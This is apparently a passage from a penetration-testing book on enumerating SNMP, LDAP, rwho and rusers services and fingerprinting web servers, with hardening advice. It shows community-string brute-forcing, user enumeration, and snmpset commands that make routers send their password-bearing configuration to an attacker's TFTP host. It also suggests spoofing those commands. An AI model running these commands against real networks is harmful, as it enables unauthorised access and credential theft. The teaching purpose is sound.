The Simple Network Management Protocol (SNMP) service listens on UDP port 161. SNMP is often found running on network infrastructure devices such as managed switches, routers, and other appliances. Increasingly, SNMP can be found running on Unix-based and Windows servers for central network management purposes.

SNMP authentication is very simple and is sent across networks in plaintext. SNMP Management Information Base (MIB) data can be retrieved from a device by specifying the correct read community string, and SNMP MIB data can be written to a device using the correct write community string. MIB databases contain listings of Object Identifier (OID) values, such as routing table entries, network statistics, and details of network interfaces. Accessing a router MIB is useful when performing further network reconnaissance and mapping.

Two useful tools used by attackers and security consultants alike for brute-forcing SNMP community strings and accessing MIB databases are ADMsnmp and snmpwalk. THC Hydra also supports very fast SNMP brute-force community grinding, along with many other protocols.

ADMsnmp

ADMsnmp is available from the ADM group home page at http://adm.freelsd.net/ADM. The utility is an effective Unix command-line SNMP community string brute-force utility. Example 5-12 shows the tool in use against a Cisco router at 192.168.0.1 to find that the community string private has write access.

Example 5-12. ADMsnmp used to brute-force SNMP community strings

$ ADMsnmp 192.168.0.1
ADMsnmp vbeta 0.1 (c) The ADM crew
ftp://ADM.isp.at/ADM/
greets: !ADM, el8.org, ansia
>>>>>>>>>>> get req name=root  id = 2 >>>>>>>>>>
>>>>>>>>>>> get req name=public  id = 5 >>>>>>>>>>
>>>>>>>>>>> get req name=private  id = 8 >>>>>>>>>>
>>>>>>>>>>> get req name=write  id = 11 >>>>>>>>>>
<<<<<<<<<<<< recv snmpd paket id = 9 name = private ret =0 <<<<<<<<
>>>>>>>>>>>> send setrequest id = 9 name = private >>>>>>>
>>>>>>>>>>> get req name=admin  id = 14 >>>>>>>>>>
<<<<<<<<<<<< recv snmpd paket id = 10 name = private ret =0 <<<<<<<<
>>>>>>>>>>>> get req name=proxy  id = 17 >>>>>>>>>>
<<<<<<<<<<<< recv snmpd paket id = 140 name = private ret =0 <<<<<<<<
>>>>>>>>>>>> get req name=ascend  id = 20 >>>>>>>>>>
<<<<<<<<<<<< recv snmpd paket id = 140 name = private ret =0 <<<<<<<<
>>>>>>>>>>>> get req name=cisco  id = 23 >>>>>>>>>>
>>>>>>>>>>>> get req name=router  id = 26 >>>>>>>>>>
>>>>>>>>>>>> get req name=shiva  id = 29 >>>>>>>>>>
>>>>>>>>>>>> get req name=all private  id = 32 >>>>>>>>>>
The `snmpwalk` utility is part of the Net-SNMP package (http://net-snmp.sourceforge.net). The Net-SNMP toolkit can be built on both Unix and Windows platforms and contains other useful utilities including `snmpset`, which can modify and set specific OID values. `snmpwalk` is used with a valid community string to download the entire MIB database from the target device (unless a specific OID value to walk is provided by the user).

Example 5-13 shows `snmpwalk` being used to download the MIB database from a Cisco router. The MIB in this example is over seven pages in length, so for brevity, only the first eight OID values are presented here.

```
Example 5-13. Accessing the MIB using snmpwalk

$ snmpwalk -c private 192.168.0.1

system.sysDescr.0 = Cisco Internetwork Operating System Software IOS
(tm) C2600 Software (C2600-15-M), Version 12.0(6), RELEASE SOFTWARE
(fci) Copyright (c) 1986-1999 by cisco Systems, Inc. Compiled Wed
11-Aug-99 00:16 by phanguye
system.sysObjectID.0 = OID: enterprises.9.1.186
system.sysUpTime.0 = Timeticks: (86128) 0:14:21.28
system.sysContact.0 =
system.sysName.0 = pipex-gw.trustmatta.com
system.sysLocation.0 =
system.sysServices.0 = 78
system.sysORLastChange.0 = Timeticks: (0) 0:00:00.00
```

### Default Community Strings

Most routers, switches, and wireless access points from Cisco, 3Com, Foundry, D-Link, and other companies use `public` and `private` as their respective default read and write SNMP community strings. The community string list provided with the ADMsnmp brute-force program includes `cisco`, `router`, `enable`, `admin`, `read`, `write`, and other obvious values. When assessing routers or devices belonging to a specific organization, you should tailor your list accordingly (including the company name and other values that may be used in that instance).
Many Cisco devices have two default SNMP community strings embedded into them: cable-docsis and ILMI. These strings don’t appear in the IOS config files, and you should review the process in the official Cisco security advisory at http://www.cisco.com/warp/public/707/ios-snmp-community-vulns-pub.shtml to remove these default community strings.

Compromising Devices by Reading from SNMP

Many Windows NT and 2000 servers run SNMP services using the community string public for read access. By walking through the 1.3.6.1.4.1.77.1.2.25 OID within a Windows NT or 2000 server, you can enumerate usernames of active accounts on the target host; 192.168.0.251 is used in Example 5-14.

Example 5-14. Enumerating Windows 2000 user accounts through SNMP

$ snmpwalk -c public 192.168.102.251 .1.3.6.1.4.1.77.1.2.25
enterprises.77.1.2.25.1.1.101.115.115 = "Chris"
enterprises.77.1.2.25.1.1.65.82.84.77.65.78 = "IUSR_CARTMAN"
enterprises.77.1.2.25.1.1.65.82.84.77.65.78 = "IWAM_CARTMAN"
enterprises.77.1.2.25.1.1.114.97.116.111.114 = "Administrator"
enterprises.77.1.2.25.1.1.116.85.115.101.114 = "TsInternetUser"
enterprises.77.1.2.25.1.1.118.105.99.101.115 = "NetShowServices"

In this example, the usernames Chris and Administrator are identified, along with the built-in Windows IUSR_hostname, IWAM_hostname, TsInternetUser, and NetShowServices users.

Various wireless access points and other hardware appliances contain passwords and details of writable community strings within the accessible MIB. You should check each OID value in the MIB databases of these devices because sensitive information can be easily obtained.

SNMP OID values can be fed to tools such as snmpwalk in both numerical and word form. Table 5-4 lists values that are useful when enumerating services and open shares of Windows NT family servers found running SNMP.

Table 5-4. Useful Windows NT family SNMP OID values

<table>
<thead>
<tr>
<th>OID</th>
<th>Information gathered</th>
</tr>
</thead>
<tbody>
<tr>
<td>.1.3.6.1.2.1.1.5</td>
<td>Hostname</td>
</tr>
<tr>
<td>.1.3.6.1.4.1.77.1.4.2</td>
<td>Domain name</td>
</tr>
<tr>
<td>.1.3.6.1.4.1.77.1.2.25</td>
<td>Usernames</td>
</tr>
<tr>
<td>.1.3.6.1.4.1.77.1.2.3.1.1</td>
<td>Running services</td>
</tr>
<tr>
<td>.1.3.6.1.4.1.77.1.2.27</td>
<td>Share information</td>
</tr>
</tbody>
</table>
Compromising Devices by Writing to SNMP

It is possible to compromise a Cisco IOS, Ascend, and other routers and systems running SNMP if you have write access to the SNMP MIB. By first running a TFTP server on an accessible host, you can modify particular OID values on the target device over SNMP (using `snmpset`), so that the device configuration file containing direct access passwords can be uploaded through TFTP. Here are some examples of this attack against Cisco IOS and Ascend network devices:

Compromising a Cisco device using `snmpset`:

```
$ snmpset -r 3 -t 3 192.168.0.1 private .1.3.6.1.4.1.9.2.1.55.192.168.0.50 s "cisco-config"
```

Compromising an Ascend device using `snmpset`:

```
$ snmpset -r 3 -t 3 192.168.0.254 private .1.3.6.1.4.1.529.9.5.3.0 a "192.168.0.50"
$ snmpset -r 3 -t 3 192.168.0.254 private .1.3.6.1.4.1.529.9.5.4.0 s "ascend-config"
```

For these attacks to work, you must install and configure an accessible TFTP server to which the appliance can upload its configuration file. This can be achieved from a Unix-based platform by modifying the `/etc/inetd.conf` file to run `tftpd` from `inetd`, or by using a Windows TFTP server, such as the Cisco TFTP Server (available from http://www.cisco.com/pcgi-bin/tablebuild.pl/tftp). When performing this exploit, it is important to remember to ensure your TFTP server is writable so that the target device can upload its configuration file!

SNMP running on hardware appliances can be imaginatively abused by writing to a plethora of different OID values (e.g., modification of routing tables or uploading new firmware and configuration files). It is often best to test SNMP attacks in a lab environment before performing them on live networks in order to avoid crashing routers, switches, and other critical infrastructure devices.

A damaging extension to attacks involving writing to remote devices via SNMP is to use UDP spoofing. If the SNMP service listening on the target router doesn’t respond to packets sent from the attacker’s Internet-based hosts, he can spoof the `snmpset` command string (as in the previous code examples) to appear to be from a trusted host, such as an external firewall IP address. Obviously, he would need to find the correct community string, but it certainly is an imaginative way around the host-based ACLs of the router.

SNMP Process Manipulation Vulnerabilities

Many SNMP vulnerabilities have been uncovered and disclosed in various vendor implementations (including Cisco, F5 Networks, Microsoft, Oracle, and Sun Microsystems). One significant issue that affects many implementations is detailed in http://www.cert.org/advisories/CA-2002-03.html.
For current information relating to known SNMP issues, search the CVE list or check sites such as CERT, SecurityFocus, or ISS X-Force. Remotely exploitable SNMP vulnerabilities at the time of this writing are listed in Table 5-5.

Table 5-5. Remotely exploitable SNMP vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-1257</td>
<td>28/02/2007</td>
<td>Cisco Catalyst 6000, 6500, and 7600, and IOS 12.2 Network Analysis Module (NAM) SNMP spoofing vulnerability</td>
<td></td>
</tr>
<tr>
<td>CVE-2006-5583</td>
<td>12/12/2006</td>
<td>Microsoft Windows 2000 SP4, XP SP2, and 2003 SP1 SNMP buffer overflow resulting in command execution</td>
<td></td>
</tr>
<tr>
<td>CVE-2006-5382</td>
<td>25/10/2006</td>
<td>3Com S3 4400 switch SNMP information disclosure</td>
<td></td>
</tr>
<tr>
<td>CVE-2006-4950</td>
<td>20/09/2006</td>
<td>Cisco IOS 12.2-12.4 hard-coded DOCSIS community string device compromise</td>
<td></td>
</tr>
<tr>
<td>CVE-2005-2988</td>
<td>15/09/2006</td>
<td>HP JetDirect information disclosure</td>
<td></td>
</tr>
<tr>
<td>CVE-2005-1179</td>
<td>15/04/2005</td>
<td>Xerox MicroServer SNMP authentication bypass</td>
<td></td>
</tr>
<tr>
<td>CVE-2005-0834</td>
<td>18/03/2005</td>
<td>Multiple Belkin 54G wireless router SNMP vulnerabilities</td>
<td></td>
</tr>
<tr>
<td>CVE-2004-0616</td>
<td>22/06/2004</td>
<td>BT Voyager wireless ADSL router default community string and administrative password compromise</td>
<td></td>
</tr>
<tr>
<td>CVE-2004-0312</td>
<td>17/02/2004</td>
<td>Linksys WAP55AG 1.07 SNMP compromise</td>
<td></td>
</tr>
<tr>
<td>CVE-2004-0311</td>
<td>16/02/2004</td>
<td>APC SmartSlot 3.21 and prior default SNMP community string device compromise</td>
<td></td>
</tr>
<tr>
<td>CVE-2002-1048</td>
<td>16/09/2002</td>
<td>HP JetDirect password disclosure over SNMP</td>
<td></td>
</tr>
<tr>
<td>CVE-2004-1775</td>
<td>16/06/2002</td>
<td>Cisco IOS 12.0 and 12.1 VACM device configuration compromise</td>
<td></td>
</tr>
<tr>
<td>CVE-2002-0013</td>
<td>12/02/2002</td>
<td>Multiple vulnerabilities in SNMPv1 request handling</td>
<td></td>
</tr>
<tr>
<td>CVE-2001-0236</td>
<td>15/03/2001</td>
<td>Solaris SNMP to DMI mapper daemon (snmpXdmi.d) buffer overflow</td>
<td></td>
</tr>
</tbody>
</table>

SNMP exploit scripts

Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). MSF doesn’t support any of the above bugs at the time of this writing. In terms of commercial exploitation frameworks, CORE IMPACT supports CVE-2001-0236 (Solaris snmpXdmi.d overflow), and Immunity CANVAS also supports CVE-2001-0236 along with CVE-2006-5583 (Microsoft SNMP memory corruption vulnerability).

LDAP

The Lightweight Directory Access Protocol (LDAP) service is commonly found running on Microsoft Windows 2000 and 2003, Microsoft Exchange, and Lotus Domino servers. The system provides user directory information to clients. LDAP is highly extensible and widely supported by Apache, Exchange, Outlook, Netscape Communicator, and others.
Anonymous LDAP Access

You can query LDAP anonymously (although mileage varies depending on the server configuration) using the `ldp.exe` utility from the Microsoft Windows 2000 Support Tools Kit found on the Windows 2000 installation CD under the `\support\tools\` directory.

The `ldapsearch` tool is a simple Unix-based alternative to `ldp.exe` that’s bundled with OpenLDAP (http://www.openldap.org). In Example 5-15, I use the tool to perform an anonymous LDAP search against `192.168.0.65` (a Lotus Domino server on Windows 2000).

**Example 5-15. Searching the LDAP directory with ldapsearch**

```
$ ldapsearch -h 192.168.0.65

# Nick Baskett, Trustmatta
dn: CN=Nick Baskett,O=Trustmatta
mail: nick.baskett@trustmatta.com
givenname: Nick
sn: Baskett
cn: Nick Baskett, nick
uid: nick
maildomain: trustmatta

# Andrew Done, Trustmatta, andrew
dn: CN=Andrew Done,O=Trustmatta, andrew
mail: andrew.done@trustmatta.com
givenname: Andrew
sn: Done
uid: andrew
maildomain: trustmatta

# James Woodcock, Trustmatta, james
dn: CN=James Woodcock,O=Trustmatta, james
mail: james.woodcock@trustmatta.com
givenname: James
sn: Woodcock
uid: james
maildomain: trustmatta
```

LDAP Brute Force

Anonymous access to LDAP has limited use. If LDAP is found running under Windows, an attacker can launch a brute-force, password-guessing attack to compromise server user accounts. The Unix-based `bf_ldap` tool is useful when performing LDAP brute-force attacks and is available from http://examples.oreilly.com/networksa/tools/bf_ldap.tar.gz. THC Hydra also supports very fast LDAP brute-force password grinding, along with many other protocols.
Here is a list of bf_ldap command-line options:

$ bf_ldap
 Eliel Sardanons <eliel.sardanons@philips.edu.ar>

Usage:
bf_ldap <parameters> <optional>
parameters:
  -s server
  -d domain name
  -u|-U username | users list file name
  -L|-l passwords list | length of passwords to generate
optional:
  -p port (default 389)
  -v (verbose mode)
  -P Ldap user path (default ,CN=Users,)

Active Directory Global Catalog

Windows uses an LDAP-based service called Global Catalog (GC) on TCP port 3268. GC stores a logical representation of all the users, servers, and devices within a Windows Active Directory infrastructure. Because GC is an LDAP service, you can use the ldp.exe and ldapsearch utilities (along with a valid username and password combination) to enumerate users, groups, servers, policies, and other information. Just remember to point the utility at port 3268 instead of 389.

LDAP Process Manipulation Vulnerabilities

LDAP services running as part of Oracle, GroupWise, and other server software suites are publicly known to be vulnerable to various simple and complex process manipulation attacks. For current information relating to known LDAP issues, search the MITRE CVE list. Table 5-6 lists known remotely exploitable LDAP vulnerabilities (not including DoS or locally exploitable issues).

Table 5-6. Remotely exploitable LDAP vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-6493</td>
<td>12/12/2006</td>
<td>OpenLDAP 2.4.3 Kerberos authentication overflow</td>
</tr>
<tr>
<td>CVE-2006-4510 and CVE-2006-4509</td>
<td>21/10/2006</td>
<td>Novell eDirectory 8.8 LDAP buffer overflows</td>
</tr>
<tr>
<td>CVE-2006-4846</td>
<td>15/09/2006</td>
<td>Citrix Advanced Access Control (AAC) 4.2 LDAP authentication bypass</td>
</tr>
<tr>
<td>CVE-2006-2754</td>
<td>06/09/2006</td>
<td>OpenLDAP 2.3.21 long hostname stack overflow</td>
</tr>
<tr>
<td>CVE-2006-0419</td>
<td>24/01/2006</td>
<td>BEA WebLogic 9.0 LDAP data compromise and DoS</td>
</tr>
<tr>
<td>CVE-2005-2696</td>
<td>20/08/2005</td>
<td>Lotus Notes Notes Address Book (NAB) password hash LDAP compromise</td>
</tr>
<tr>
<td>CVE-2005-2511</td>
<td>15/08/2005</td>
<td>Mac OS X 10.4.2 LDAP Kerberos authentication bypass</td>
</tr>
<tr>
<td>CVE-2004-0297</td>
<td>17/02/2004</td>
<td>Ipswitch IMAIL 8.03 LDAP service buffer overflow</td>
</tr>
</tbody>
</table>
The PROTOS test suite (http://www.ee.oulu.fi/research/ouspg/protos/) was used in 2001 to perform comprehensive fuzzing of LDAP implementations, uncovering a large number of vulnerabilities in many LDAP implementations. Many of these issues have been resolved, however; for a detailed list of the findings, please see http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/.

**LDAP exploit scripts**

Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org).

MSF has an exploit module for CVE-2004-0297 (Ipswitch IMAILL DAP service overflow), but none of these other vulnerabilities at the time of this writing. For the full list of exploit modules that MSF supports in its stable branch, see http://framework.metasploit.com/exploits/list.

In terms of commercial exploitation frameworks, neither CORE IMPACT nor Immunity CANVAS support any of these LDAP vulnerabilities at the time of writing.

**rwho**

The Unix *rwhod* service listens on UDP port 513. If found to be accessible, you can query it using the Unix *rwho* client utility to list current users who are logged into the remote host, as shown:

```
$ rwho 192.168.189.120
jarvis  ttyp0   Jul 17 10:05   (192.168.189.164)
dan     ttyp7   Jul 17 13:33   (194.133.50.25)
root    ttyp9   Jul 17 16:48   (192.168.189.1)
```

**RPC rusers**

The Unix *rusers* service is a Remote Procedure Call (RPC) service endpoint that listens on dynamic ports. The *rusers* client utility first connects to the RPC portmapper, which returns the whereabouts of the *rusersd* service.

---

Table 5-6. Remotely exploitable LDAP vulnerabilities (continued)

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0734</td>
<td>20/10/2003</td>
<td>pam_ldap 161 LDAP authentication bypass</td>
</tr>
<tr>
<td>CVE-2003-0507</td>
<td>02/07/2003</td>
<td>Windows 2000 SP3 LDAP buffer overflow</td>
</tr>
<tr>
<td>CVE-2003-0174</td>
<td>25/04/2003</td>
<td>IRIX 6.5.19 LDAP name service (nsd) authentication bypass</td>
</tr>
<tr>
<td>CVE-2002-0777</td>
<td>20/05/2002</td>
<td>Ipswitch IMAILL Server 7.1 LDAP buffer overflow</td>
</tr>
<tr>
<td>CVE-2002-0374</td>
<td>06/05/2002</td>
<td>pam_ldap 143 format string bug</td>
</tr>
</tbody>
</table>
During initial TCP port scans, if the RPC portmapper service isn’t found to be accessible, it is highly unlikely that *rusersd* will be accessible. If, however, TCP or UDP port 111 is found to be accessible, the *rpcinfo* client can check for the presence of *rusersd* and other accessible RPC services, as shown in Example 5-16.

**Example 5-16. Enumerating RPC services with rpcinfo**

```bash
$ rpcinfo -p 192.168.0.50
program vers proto port service
100000 4 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100024 1 udp 32772 status
100024 1 tcp 32771 status
100021 4 udp 4045 nlockmgr
100021 2 tcp 4045 nlockmgr
100005 1 udp 32781 mountd
100005 1 tcp 32776 mountd
100003 2 udp 2049 nfs
100011 1 udp 32822 rquotad
100002 2 udp 32823 rusersd
100002 3 tcp 33180 rusersd
```

If *rusersd* is running, you can probe the service with the *rusers* client (available on most Unix-based platforms) to retrieve a list of users logged into the system, as shown in Example 5-17.

**Example 5-17. Gathering active user details through rusers**

```bash
$ rusers -l 192.168.0.50
Sending broadcast for rusersd protocol version 3...
Sending broadcast for rusersd protocol version 2...
james onyx:console Mar 3 13:03 22:03
amber onyx:ttyp1 Mar 2 07:40
chris onyx:ttyp5 Mar 2 10:35 14
al onyx:ttyp6 Mar 2 10:48
```

**Remote Information Services Countermeasures**

The following countermeasures should be considered when hardening remote information services:

- There is no reason to run *fingerd*, *rwhod*, or *rusersd* services in any production environment; these services completely undermine security and offer little benefit.
- Diligently check all publicly accessible hosts to ensure that unnecessary DNS services aren’t publicly accessible. DNS servers should run only where necessary, and all DNS servers must be correctly configured to deny zone transfers to unauthorized peers.
• Most Linux _identd_ packages are vulnerable to public and privately known attacks; therefore, refrain from running _identd_ on mission-critical Linux servers.

• NTP services reveal useful operating platform information and some implementations contain vulnerabilities that can result in a compromise. Wherever possible, NTP services should be filtered and not exposed to the public Internet.

• SNMP services running on both servers and devices should be configured with strong read and write access community strings to minimize brute-force password-grinding risk. Network filtering of SNMP services from the Internet and other untrusted networks ensures further resilience and blocks buffer overflow and other process manipulation attacks.

• Ensure that your accessible LDAP and Windows AD GC services don’t serve sensitive information to anonymous unauthenticated users. If LDAP or Global Catalog services are being run in a high-security environment, ensure that brute-force attacks aren’t easily undertaken by logging failed authentication attempts.

• Always keep your publicly accessible services patched to prevent exploitation of process manipulation vulnerabilities. Most DNS, SNMP, and LDAP vulnerabilities don’t require an authenticated session to be exploited by a remote attacker.
This chapter covers web server assessment. Web servers are very common, requiring a high level of security assurance due to their public nature. Here I discuss the techniques and tools used to test accessible HTTP and HTTPS services, along with their enabled components and subsystems. Testing of custom web applications and scripts that run on top of accessible web servers is covered in the next chapter.

Web Servers

Assessment of various web servers and subsystems can fill its own book. Web services are presented over HTTP, and SSL-wrapped HTTPS, found running by default on TCP ports 80 and 443, respectively.

Comprehensive testing of web services involves the following steps:

1. Fingerprinting the web server
2. Identifying and assessing reverse proxy mechanisms
3. Enumerating virtual hosts and web sites running on the web server
4. Identifying subsystems and enabled components
5. Investigating known vulnerabilities in the web server and enabled components
6. Crawling accessible web sites to identify files and directories of interest
7. Brute-force password grinding against accessible authentication mechanisms

Nowadays, many corporate web sites and applications are presented through reverse proxy layers, and so steps 2 and 3 are very important, as sometimes you will find that different virtual hosts use different server-side features and subsystems. It is often the case that you must provide a valid HTTP Host: field when connecting to a web server to even fingerprint or query the server in depth.

Generally, basic web service assessment can be automated. It is imperative, however, that you perform hands-on testing and qualification after automatically identifying all the obvious security flaws, especially when assessing complex environments.
Buffer overflow and memory corruption vulnerabilities are difficult to identify remotely. An exploitation framework such as the Metasploit Framework, CORE IMPACT, or Immunity CANVAS must be used to launch exploit code and assess effectiveness.

**Fingerprinting Accessible Web Servers**

You can identify web servers by analyzing server responses to HTTP requests such as HEAD and OPTIONS, and by crawling the web server content to look for clues as to the underlying technologies in use (i.e., if a site is using ASP file extensions, it is most probably running on a Microsoft IIS platform).

**Manual Web Server Fingerprinting**

Simple HTTP queries can be manually sent to a target web server to perform basic fingerprinting. In more complex environments (such as those where virtual hosts or reverse proxies are used), valid HTTP 1.1 headers such as the Host: field must be included.

**HTTP HEAD**

In Example 6-1, I use Telnet to connect to port 80 of www.trustmatta.com and issue a HEAD / HTTP/1.0 request (followed by two carriage returns).

```
Example 6-1. Using the HTTP HEAD method against Apache

$ telnet www.trustmatta.com 80
Trying 62.232.8.1...
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Mon, 26 May 2003 14:28:50 GMT
Server: Apache/1.3.27 (Unix) Debian GNU/Linux PHP/4.3.2
Connection: close
Content-Type: text/html; charset=iso-8859-1

Example 6-2. Using the HTTP HEAD method against Microsoft IIS

$ telnet www.nasdaq.com 80
Trying 208.249.117.71...
Escape character is '^]'.
```

I learn that the server is running Apache 1.3.27 on a Debian Linux server along with PHP 4.3.2. Example 6-2 shows the same HEAD request issued against www.nasdaq.com using Telnet.

```
Example 6-2. Using the HTTP HEAD method against Microsoft IIS

$ telnet www.nasdaq.com 80
Trying 208.249.117.71...
Escape character is '^]'.
```
Here I learn that the NASDAQ web server runs on IIS 6.0, the web server packaged with Windows Server 2003. Note that even if the Server: information field is modified, I can differentiate between Apache and IIS web servers because of differences in the formatting of the other fields presented.

Example 6-3 shows that internal IP address information is often found when querying IIS 4.0 servers.

Example 6-3. Gathering internal IP address information through IIS 4.0

```
$ telnet www.ebay.com 80
Trying 66.135.208.88...
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Age: 44
Accept-Ranges: bytes
Date: Mon, 26 May 2003 16:10:00 GMT
Content-Length: 47851
Content-Type: text/html
Server: Microsoft-IIS/4.0
Content-Location: http://10.8.35.99/index.html
Last-Modified: Mon, 26 May 2003 16:01:40 GMT
ETag: "04af217a023c31:12517"
Via: 1.1 cache16 (NetCache NetApp/5.2.1R3)
```

Since I know the internal IP address of this host, I can perform DNS querying against internal IP ranges (see “Reverse DNS Querying” in Chapter 5) and even launch spoofing and proxy scanning attacks in poorly protected environments. Microsoft KB 218180 (http://support.microsoft.com/kb/218180) describes workarounds for this exposure.
HTTP OPTIONS

A second method you can use to ascertain the web server type and version is to issue an HTTP OPTIONS request. In a similar way to issuing a HEAD request, I use Telnet to connect to the web server and issue OPTIONS / HTTP/1.0 (followed by two carriage returns), as shown in Example 6-4.

Example 6-4. Using the HTTP OPTIONS method against Apache

```
$ telnet www.trustmatta.com 80
Trying 62.232.8.1...
Escape character is '^]'.
OPTIONS / HTTP/1.0
HTTP/1.1 200 OK
Date: Mon, 26 May 2003 14:29:55 GMT
Server: Apache/1.3.27 (Unix) Debian GNU/Linux PHP/4.3.2
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close
```

Again, the Apache web server responds with minimal information, simply defining the HTTP methods that are permitted for the specific file or directory (the web root in this example). Microsoft IIS, on the other hand, responds with a handful of extra fields (including Public: and X-Powered-By:), as shown in Example 6-5.

Example 6-5. Using the HTTP OPTIONS method against Microsoft IIS

```
$ telnet www.nasdaq.com 80
Trying 208.249.117.71...
Escape character is '^]'.
OPTIONS / HTTP/1.0
HTTP/1.1 200 OK
Allow: OPTIONS, TRACE, GET, HEAD
Content-Length: 0
Server: Microsoft-IIS/6.0
Public: OPTIONS, TRACE, GET, HEAD, POST
X-Powered-By: ASP.NET
Date: Mon, 26 May 2003 14:39:58 GMT
Connection: close
```

Common HTTP OPTIONS responses. The public and allowed methods within Apache, IIS, and other web servers can be modified and customized; however, in most environments, they are not. To help you fingerprint web servers, I have assembled the following list of default HTTP OPTIONS responses:
Microsoft IIS 4.0
Server: Microsoft-IIS/4.0
Date: Tue, 27 May 2003 18:39:20 GMT
Public: OPTIONS, TRACE, GET, HEAD, POST, PUT, DELETE
Allow: OPTIONS, TRACE, GET, HEAD
Content-Length: 0

Microsoft IIS 5.0
Server: Microsoft-IIS/5.0
Date: Tue, 15 Jul 2003 17:23:26 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DAV: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private

Microsoft IIS 6.0
Allow: OPTIONS, TRACE, GET, HEAD
Content-Length: 0
Server: Microsoft-IIS/6.0
Public: OPTIONS, TRACE, GET, HEAD, POST
X-Powered-By: ASP.NET
Date: Mon, 04 Aug 2003 21:18:33 GMT
Connection: close

Apache HTTP Server 1.3.x
Date: Thu, 29 May 2003 22:02:17 GMT
Server: Apache/1.3.27 (Unix) Debian GNU/Linux PHP/4.3.2
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close

Apache HTTP Server 2.0.x
Date: Tue, 15 Jul 2003 17:33:52 GMT
Server: Apache/2.0.44 (Win32)
Allow: GET, HEAD, POST, OPTIONS, TRACE
Content-Length: 0
Connection: close
Content-Type: text/html; charset=ISO-8859-1

Netscape Enterprise Server 4.0 and prior
Server: Netscape-Enterprise/4.0
Date: Thu, 12 Oct 2002 14:12:32 GMT
Content-Length: 0
Allow: HEAD, GET, PUT, POST

Netscape Enterprise Server 4.1 and later
Server: Netscape-Enterprise/6.0
Date: Thu, 12 Oct 2002 12:48:01 GMT
Allow: HEAD, GET, PUT, POST, DELETE, TRACE, OPTIONS, MOVE, INDEX, MKDIR, RMDIR
Content-Length: 0
An important distinguishing feature is the order in which the data fields are presented. Apache 1.3.x servers will send us the `Content-Length:` field first followed by the `Allow:` field, whereas Apache 2.0.x servers reverse the order. The order of the `Server:` and `Date:` fields returned is also an indicator of an IIS web service.

**Querying the web server through an SSL tunnel**

To manually query SSL-wrapped web servers (typically found running on port 443), you must use first establish an SSL tunnel, then issue the HTTP requests to the web service. `stunnel` (available from [http://www.stunnel.org](http://www.stunnel.org)) can be run from Unix and Windows systems to establish the SSL connection to the remote server, while listening locally for incoming plaintext connections (established using Telnet or Netcat).

Here’s a simple `stunnel.conf` file that creates an SSL tunnel to `secure.example.com:443` and listens for plaintext traffic on the local port 80:

```ini
client=yes
verify=0
[psuedo-https]
accept = 80
connect = secure.example.com:443
TIMEOUTclose = 0
```

After creating this configuration file in the same directory as the executable, simply run `stunnel` (which runs in the system tray in Windows or forks into background under Unix) and connect to `127.0.0.1` on port 80, as shown in Example 6-6. The program negotiates the SSL connection and allows the user to query the target web service through the tunnel.

**Example 6-6. Issuing requests to the HTTP service through stunnel**

```bash
$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 26 May 2003 16:14:29 GMT
Content-type: text/html
Last-modified: Mon, 19 May 2003 10:32:56 GMT
Content-length: 5437
Accept-ranges: bytes
Connection: close
```
Automated Web Server Fingerprinting

There are several free tools available to perform automated web service fingerprinting, issuing a number of requests to the target web server, cross-referencing the data received (such as the order in which HTTP fields are sent back, the format of error messages, HTTP response codes used, and other response data) with fingerprints, and forming a conclusion as to the web service in use.

A definitive, well-maintained, and accurate web service fingerprinting tool that can be run from Unix and Windows platforms is \textit{httprint}.

\textit{httprint} (http://net-square.com/httprint) is available for Windows, Mac OS X, Linux, and FreeBSD platforms. It relies on web server characteristics to accurately identify web servers, despite the fact that they may have been obfuscated by changing the server banner strings or by server-side plug-ins such as \texttt{mod_security} or ServerMask. \textit{httprint} can also be used to detect web-enabled devices that do not have a server banner string, such as wireless access points, routers, and switches. \textit{httprint} uses text signature strings, and it is very easy to add signatures to the signature database.

The logic and fingerprinting mechanism used by \textit{httprint} is comprehensively discussed in Saumil Shah’s “An Introduction to HTTP fingerprinting” white paper, available online from http://net-square.com/httprint/httprint_paper.html.

Figure 6-1 shows a screenshot of the current \textit{httprint} release (build 301 beta), used to fingerprint publicly accessible web servers.

Identifying and Assessing Reverse Proxy Mechanisms

Increasingly, organizations use reverse proxy mechanisms to pass HTTP traffic through dedicated systems, which relay HTTP requests to the correct backend web server. In my experience, reverse proxy mechanisms have usually been Microsoft ISA arrays, tuned Apache HTTP servers, or appliance servers performing proxy and caching operations. HTTP traffic can then be scrubbed and controlled, and the surface of vulnerability and exposure to a company from web-based attack is limited.

Reverse proxy mechanisms commonly use the following:

- Standard HTTP methods (\texttt{GET} and \texttt{POST} in particular) with specific \texttt{Host:} field settings
- The \texttt{CONNECT} HTTP method to proxy connections to backend web servers

Often, the proxy server itself does not serve positive HTTP responses unless a valid \texttt{Host:} value is provided. Example 6-7 shows a connection to a Microsoft ISA server, set up as a reverse proxy, processing a standard HTTP \texttt{HEAD} request.
To solicit a positive response (where the proxy server correctly forwards the request to the correct web server), you must provide a valid Host: field, as shown in Example 6-8.

